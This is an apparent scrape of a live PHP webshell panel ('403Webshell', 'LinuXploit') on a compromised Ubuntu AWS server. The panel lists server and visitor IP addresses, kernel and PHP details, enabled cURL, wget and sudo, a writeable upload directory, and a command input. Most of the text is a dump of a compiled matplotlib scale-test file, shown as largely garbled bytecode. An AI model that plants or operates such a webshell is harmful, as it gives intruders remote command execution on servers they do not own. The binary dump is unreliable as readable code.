403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_scale.cpython-312.pyc
�

G8�c� ��v�ddlZddlmZddlmZmZmZmZm	Z	ddlm
Zddlm
Z
mZddlmZmZddlZddlmZddlZddlZe�d��Zd�Zedgd	�
�d��Zd�Zd
�Zedgd	�
�d��Zd�Zd�Zd�Z edgd	dd��d��Z!d�Z"edgd	d��d��Z#d�Z$d�Z%Gd�d�Z&y) �N)�
AsinhScale�AsinhTransform�LogTransform�InvertedLogTransform�SymmetricalLogTransform)�AsinhLocator�LogFormatterSciNotation)�check_figures_equal�image_comparison)�assert_allclosec�R�|jddd��}|jd�|jd�|j�}|j	�}|jddd��}|j||��|j
ddg|d�|j
|ddgd�y)N�z�log�symlog)�yscale�xscaleg�����8@)�xlim�ylim�b)�add_subplot�axvline�axhline�get_xlim�get_ylim�set�plot)�fig_test�fig_ref�ax_testrr�ax_refs      �=/usr/lib/python3/dist-packages/matplotlib/tests/test_scale.py�test_log_scalesr"s����"�"�3�u�X�"�F�G��O�O�D���O�O�D������D�����D�
�
 �
 ��U�8�
 �
D�F�
�J�J�D�t�J�$�
�K�K��t��d�C�(�
�K�K��t�T�l�C�(�c�2�tddd�}|j�}tjddd�}|j	|j	|��}t||�t
|�t
|�k(sJ�tj|d<|j	|j	|��}t||�t
|�t
|�k(sJ�tjj|�}|j	|j	|��}t||�t
|�t
|�k(sJ�tjj|d<|j	|j	|��}t||�t
|�t
|�k(sJ�y)	N�
��g�����?��)r�inverted�np�arange�transform_non_affiner�type�nan�ma�array�masked)�slt�slti�x�outs    r!�test_symlog_mask_nanr9sJ��"�"�a��
+�C��<�<�>�D�
�	�	�$��3��A�
�
#�
#�C�$<�$<�Q�$?�
@�C��C�����9��Q�����
�6�6�A�a�D�
�
#�
#�C�$<�$<�Q�$?�
@�C��C�����9��Q�����
�����A��A�
�
#�
#�C�$<�$<�Q�$?�
@�C��C�����9��Q�����
�5�5�<�<�A�a�D�
�
#�
#�C�$<�$<�Q�$?�
@�C��C�����9��Q����r#zlogit_scales.pngT)�remove_textc��tj�\}}tjgd��}d|z}|j	||�|jd�|j
d�|j|jj��}tj|j�sJ�tj|j�sJ�y)N)g����MbP?g�~j�t�h?�{�G�z�?g���Q��?g�������?皙�����?g333333�?g�������?r)g333333�?gffffff�?g�������?g�������?g
ףp=
�?g�G�z��?g��C�l��?g+����?g�?�logitT)
�plt�subplotsr-r3r�
set_xscale�grid�
get_tightbbox�canvas�get_renderer�isfinite�x0�y0)�fig�axr7�y�bboxs     r!�test_logit_scalesrM:s����l�l�n�G�C��	���@�	A�A��a��A��G�G�A�q�M��M�M�'���G�G�D�M�
���C�J�J�3�3�5�6�D�
�;�;�t�w�w����
�;�;�t�w�w���r#c��tjd�\}}tjd�}tjd�dz
}|j	||�tj�}|j|d��tj�}|j|d��tj�}|j|d��y)zIssue #1799r'r%�pdf)�format�eps�svgN)r?r@r-r.�scatter�io�BytesIO�savefig)rIrJr7rK�bufs     r!�test_log_scatterrXKs����l�l�1�o�G�C��
�	�	�"�
�A�
�	�	�"�
���A��J�J�q�!��
�*�*�,�C��K�K��E�K�"�
�*�*�,�C��K�K��E�K�"�
�*�*�,�C��K�K��E�K�"r#c��tj�\}}|jdtjgd����|j
j
�y)Nr)r&r+r*)�subs)r?r@�
set_yscaler-r3rD�draw�rIrJs  r!�test_logscale_subsr^^s8���l�l�n�G�C���M�M�%�b�h�h�y�1�M�2��J�J�O�O�r#zlogscale_mask.pngc��tjddd�}tj�\}}|j	tj
|dz��|jj�|jd��y)Nr�2i�r&r)r)	r-�linspacer?r@r�exprDr\r)�xsrIrJs   r!�test_logscale_maskrdes[��
���Q��D�	!�B��l�l�n�G�C���G�G�B�F�F�B��E�6�N���J�J�O�O���F�F�%�F�r#c���tj�\}}dD]7}tjt�5|j|d��ddd��9y#1swY�DxYw)N)�linearrr�mask)�foo)r?r@�pytest�raises�	TypeErrorr[�rIrJ�scales   r!�test_extra_kwargs_raisernqsV���l�l�n�G�C��,�-��
�]�]�9�
%�	-��M�M�%�V�M�,�	-�	-�-�	-�	-�s�A�A	c�8�tj�\}}|jd�|j|jj�zj�}t
d��j�}t|t�sJ�|jdk(sJ�y)Nrr&)�base)
r?r@r[�	transAxes�	transDatar,r�
isinstancerrp)rIrJ�tform�inverted_transforms    r!�test_logscale_invert_transformrvys}���l�l�n�G�C���M�M�%��
�\�\�B�L�L�1�1�3�
3�=�=�?�E�&�1�-�6�6�8���(�*>�?�?�?��"�"�a�'�'�'r#c��tj�\}}|jd�t|j�ttdd���y)Nrr%�clip��nonpositive)r?r@r[�reprrrrr]s  r!�test_logscale_transform_reprr|�s8���l�l�n�G�C���M�M�%���������b�f�	-�.r#zlogscale_nonpos_values.pngg{�G�z�?�mpl20)r:�tol�stylec�:�tjjd�tjjt	d���}tjdd�\}\\}}\}}|j|dd��|jd�|j|dd��|jdd	�
�tjddd�}tj|�}d
d|z
ztjd|z�ztj|�z}|j|||z
||z�|jd�tjdd�}	|	dz}
|	dz}|j|	|
|��|jd�|jd�y)Ni!N,g@�@)�sizer&)���r(r%)�range�binsrrgryrr<r=r(���r'r+)�yerr)r-�random�seed�normal�intr?r@�histr[r.rb�cos�fill_between�logspace�errorbarrA)rcrI�ax1�ax2�ax3�ax4�xdata�ydata�edatar7rKr�s            r!�test_logscale_nonpos_valuesr��sQ���I�I�N�N�8��	���	�	�s�3�x�	�	(�B�$'�L�L��A�$6�!�C�	!�*�3��j�s�C��H�H�R�w�R�H�(��N�N�5���H�H�R�w�R�H�(��N�N�5�f�N�-��I�I�a��T�"�E��F�F�E�6�N�E���E��N�2�6�6�!�E�'�?�*�2�6�6�5�&�>�9�E����U�E�E�M�5�5�=�9��N�N�5��
���B���A�	�Q��A��a�4�D��L�L��A�D�L�!��N�N�5���N�N�5�r#c��tj�\}}|jtdd�tdd��|j	d�|j�}t
jt�5|jd��ddd�|j�|k(sJ�t
jt�5|jd��ddd�|j�|k(sJ�|jd�|j�}t
jt�5|jd��ddd�|j�|k(sJ�t
jt�5|jd��ddd�|j�|k(sJ�y#1swY��xYw#1swY��xYw#1swY��xYw#1swY�DxYw)	Nrr*r)�leftr�)�right)�bottom)�top)
r?r@rSr�rArri�warns�UserWarning�set_xlimr[r�set_ylim)rIrJ�
original_xlim�
original_ylims    r!�test_invalid_log_limsr��se���l�l�n�G�C���J�J�u�Q��{�E�!�Q�K�(��M�M�%���K�K�M�M�	���k�	"��
�������
�;�;�=�M�)�)�)�	���k�	"��
���"����
�;�;�=�M�)�)�)��M�M�%���K�K�M�M�	���k�	"��
���1����
�;�;�=�M�)�)�)�	���k�	"��
�������
�;�;�=�M�)�)�)������������s0�8F%�F2�+F>�4G
�%F/�2F;�>G�
Gzfunction_scales.png)r:rc���d�}d�}tj�\}}tjdd�}|j	||�|jd||f��|j
dd�y)Nc��|dzS)Nr&��r7s r!�inversez$test_function_scale.<locals>.inverse�s���!�t�r#c��|dzS)Nr)r�r�s r!�forwardz$test_function_scale.<locals>.forward�s���3�x�r#r'i��function)�	functions)r?r@r-r.rrAr�)r�r�rIrJr7s     r!�test_function_scaler��s]�����l�l�n�G�C��
�	�	�!�T��A��G�G�A�q�M��M�M�*��'�(:�M�;��K�K��4�r#c�J�tj�\}}tjd��}|j	|�tjd��}|j|�|jj�dk(sJ�|jj�dk(sJ�y)N��axisr)	r?r@�mscale�LogScalerAr[�xaxis�	get_scale�yaxisrls   r!�test_pass_scaler��s{���l�l�n�G�C���O�O��&�E��M�M�%���O�O��&�E��M�M�%��
�8�8����5�(�(�(�
�8�8����5�(�(�(r#c��tjdd��}tj|�}t	|j��t	|j��k(sJ�|j|jusJ�y)Nr7r%�r�rp)r�r��copy�deepcopy�str�
get_transform�
_transform)�sc�sc2s  r!�test_scale_deepcopyr��s`��	���c��	+�B�
�-�-��
�C��r���!�"�c�#�*;�*;�*=�&>�>�>�>�
�=�=����.�.�.r#c�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�TestAsinhScalec�T�d}tjddd�}t|�}|j�}|j�}|j	|�}|j	|�}t||�|j	|�}t||tj||z�z�y)Ng1@i���r`�d)r-rarr,r/r�arcsinh)	�self�a0�ar�r��invinv�	a_forward�
a_inverted�a_invinvs	         r!�test_transformszTestAsinhScale.test_transforms�s���
���K�K��R��%�� ��$���"�"�$���!�!�#���0�0��3�	��1�1�)�<�
��
�A�&��.�.�q�1����"�r�z�z�!�b�&�'9�"9�:r#c�,�tj�\}}tdd��}|jdk(sJ�|jdk(sJ�|j
dk(sJ�|j
�}t|t�sJ�|j|jk(sJ�y)Ng7@�r��linear_width�r%)r&r()	r?r@rr��_base�_subsr�rsr)r�rIrJ�s�txs     r!�	test_initzTestAsinhScale.test_init�s����,�,�.���R��D�t�4���~�~��#�#�#��w�w�"�}��}��w�w�&� � � �
�_�_�
���"�n�-�-�-����!�.�.�0�0�0r#c���tj�\}}tdd��}|jdk(sJ�|jdk(sJ�tddd��}|jdk(sJ�|jdk(sJ�y)Nr+r�)r&�)r&r*)r�rprZ)r?r@rr�r�)r�rIrJ�s3�s7s     r!�test_base_initzTestAsinhScale.test_base_init�so���,�,�.���R�
�T��
*���x�x�1�}��}��x�x�4����
�T���
7���x�x�1�}��}��x�x�6�!�!�!r#c��Gd�d�}|�}t|d��}|j|�t|jdt�sJ�t|jdt
�sJ�|�}t|d��}|j|�t|jdt�sJ�t|jdt�sJ�y)Nc��eZdZd�Zd�Zd�Zy)�-TestAsinhScale.test_fmtloc.<locals>.DummyAxisc��i|_y)N��fields)r�s r!�__init__z6TestAsinhScale.test_fmtloc.<locals>.DummyAxis.__init__s	�� ��r#c�<�|jjdi|��y)Nr�)r��update)r��kwargss  r!rz1TestAsinhScale.test_fmtloc.<locals>.DummyAxis.set
s��"����"�"�,�V�,r#c�"�||jd<y)N�major_formatterr�)r��fs  r!�set_major_formatterzATestAsinhScale.test_fmtloc.<locals>.DummyAxis.set_major_formatters��12����-�.r#N)�__name__�
__module__�__qualname__r�rr�r�r#r!�	DummyAxisr�
s��
!�
-�
3r#r�rr��
major_locatorr�r()r�#set_default_locators_and_formattersrsr�rr�r	)r�r��ax0�s0�ax5r�s      r!�test_fmtloczTestAsinhScale.test_fmtloc	s���	3�	3��k��
�S�q�
)��
�.�.�s�3��#�*�*�_�5�|�D�D�D��#�*�*�%6�7��=�=�=��k��
�S�q�
)��
�.�.�s�3��#�*�*�_�5�|�D�D�D��#�*�*�%6�7�1�3�	3�3r#c�P�tj�\}}tjt�5tdd��ddd�tjt�5tdd��ddd�td��}tdd��}y#1swY�RxYw#1swY�/xYw)Nrr�r�r�g@)r?r@rirj�
ValueErrorr)r�rIrJr��s1s     r!�test_bad_scalezTestAsinhScale.test_bad_scales}���,�,�.���R�
�]�]�:�
&�	2��D�q�1�	2�
�]�]�:�
&�	3��D�r�2�	3�
�T�
$��
�T��
4��	2�	2��	3�	3�s�B� B�B�B%N)r�r�r�r�r�r�r�r�r�r#r!r�r��s��
;�
1�	"�3�,5r#r�)'r��matplotlib.pyplot�pyplotr?�matplotlib.scalerrrrrrmr��matplotlib.tickerrr	�matplotlib.testing.decoratorsr
r�numpyr-�
numpy.testingrrTrir"r9rMrXr^rdrnrvr|r�r�r�r�r�r�r�r#r!�<module>r�s������"�C�O��)�	�
���	)��	)� �6�%�&�D�9�
 �:�
 � #�&��&�'�T�:��;��-�	(�/��/�0�"��G�=��=��2*�0�(�)�t�7�K�
�L�
� )�/�E5�E5r#

Youez - 2016 - github.com/yon3zu
LinuXploit